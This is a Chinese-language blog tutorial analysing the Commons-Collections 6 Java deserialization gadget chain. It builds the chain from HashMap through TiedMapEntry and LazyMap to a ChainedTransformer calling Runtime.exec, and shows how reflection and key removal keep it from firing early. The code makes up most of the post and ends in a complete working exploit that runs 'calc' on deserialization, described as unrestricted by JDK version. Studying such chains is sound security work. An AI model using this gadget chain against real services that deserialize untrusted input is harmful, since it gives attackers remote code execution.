Commons-Collections-6
redpomelo Lv2

前言

在前两篇的CC1的Tranformber和LazyMap链其实都存在着一个问题,就是前两个链都在jdk8u71后被修复了,那么有没有一条不受限制JDK版本的CC链呢?当然是有的Commons-Collections6就是image-20241202203740613

这个链其实就是HashMap,也就是最开始的URLDNS链,CC6 链的前半条链与 CC1 Lazymap链子是一样的,也就是到 LazyMap 链

CC6分析

环境

JDK版本

因为我本机有个新的jdk1.8.202,此链又是不限jdk版本的,遂就使用这个版本了

image-20241202205803939

Maven导入

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

尾部exec方法

尾部和cc1其实一样,代码可以直接照搬过来

1
2
3
4
5
6
7
8
9
// 1. 创建Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> lazyMap= new HashMap<>();

然后其实这个链就是TiedMapEntry里 getValue() 方法调用了 LazyMapget() 方法

image-20241202211502611

看到这里就很简单了,我们用 TiedMapEntry 写一个 EXP,确保这条链子是能用的。

image-20241202212517937

成功弹出计算器~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap= new HashMap<>();

Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
tiedMapEntry.getValue();

}

image-20241202213149013

但是这里有个问题,刚序列化就弹计算器了,原因和URLDNS链差不多

解决刚序列化就弹计算器&&反序列化不弹

image-20241202213303648

调用put方法时他这里也调用了hash,那么我们和URLDNS链那里一样的,用反射让它put的时候不要触发链。

序列化就弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap= new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); //这里先放个没啥用的东西
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"test");

// 反射
Class c = lazyMap.getClass();
Field declaredField = c.getDeclaredField("factory");
declaredField.setAccessible(true);
declaredField.set(lazyMap,chainedTransformer); //这里在给它改回正确的

serialize(map2);

}

image-20241202214301715

现在序列化的时候就不会触发链了,但是问题来了,我们反序列化时候也不会弹。。。这是为啥嘞?打个断点跟进去看。

image-20241202215952637

这里在put的时候会给lazymap添加一个key,那我们把它删掉就可以了

image-20241202220140537

这样就成功的弹出了计算器

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap= new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); //这里先放个没啥用的东西
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"test");

lazyMap.remove("test");
// 反射
Class c = lazyMap.getClass();
Field declaredField = c.getDeclaredField("factory");
declaredField.setAccessible(true);
declaredField.set(lazyMap,chainedTransformer); //这里在给它改回正确的

serialize(map2);
unserialize("ser.bin");
}

总结

CC

入门后越来越简单咯!

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量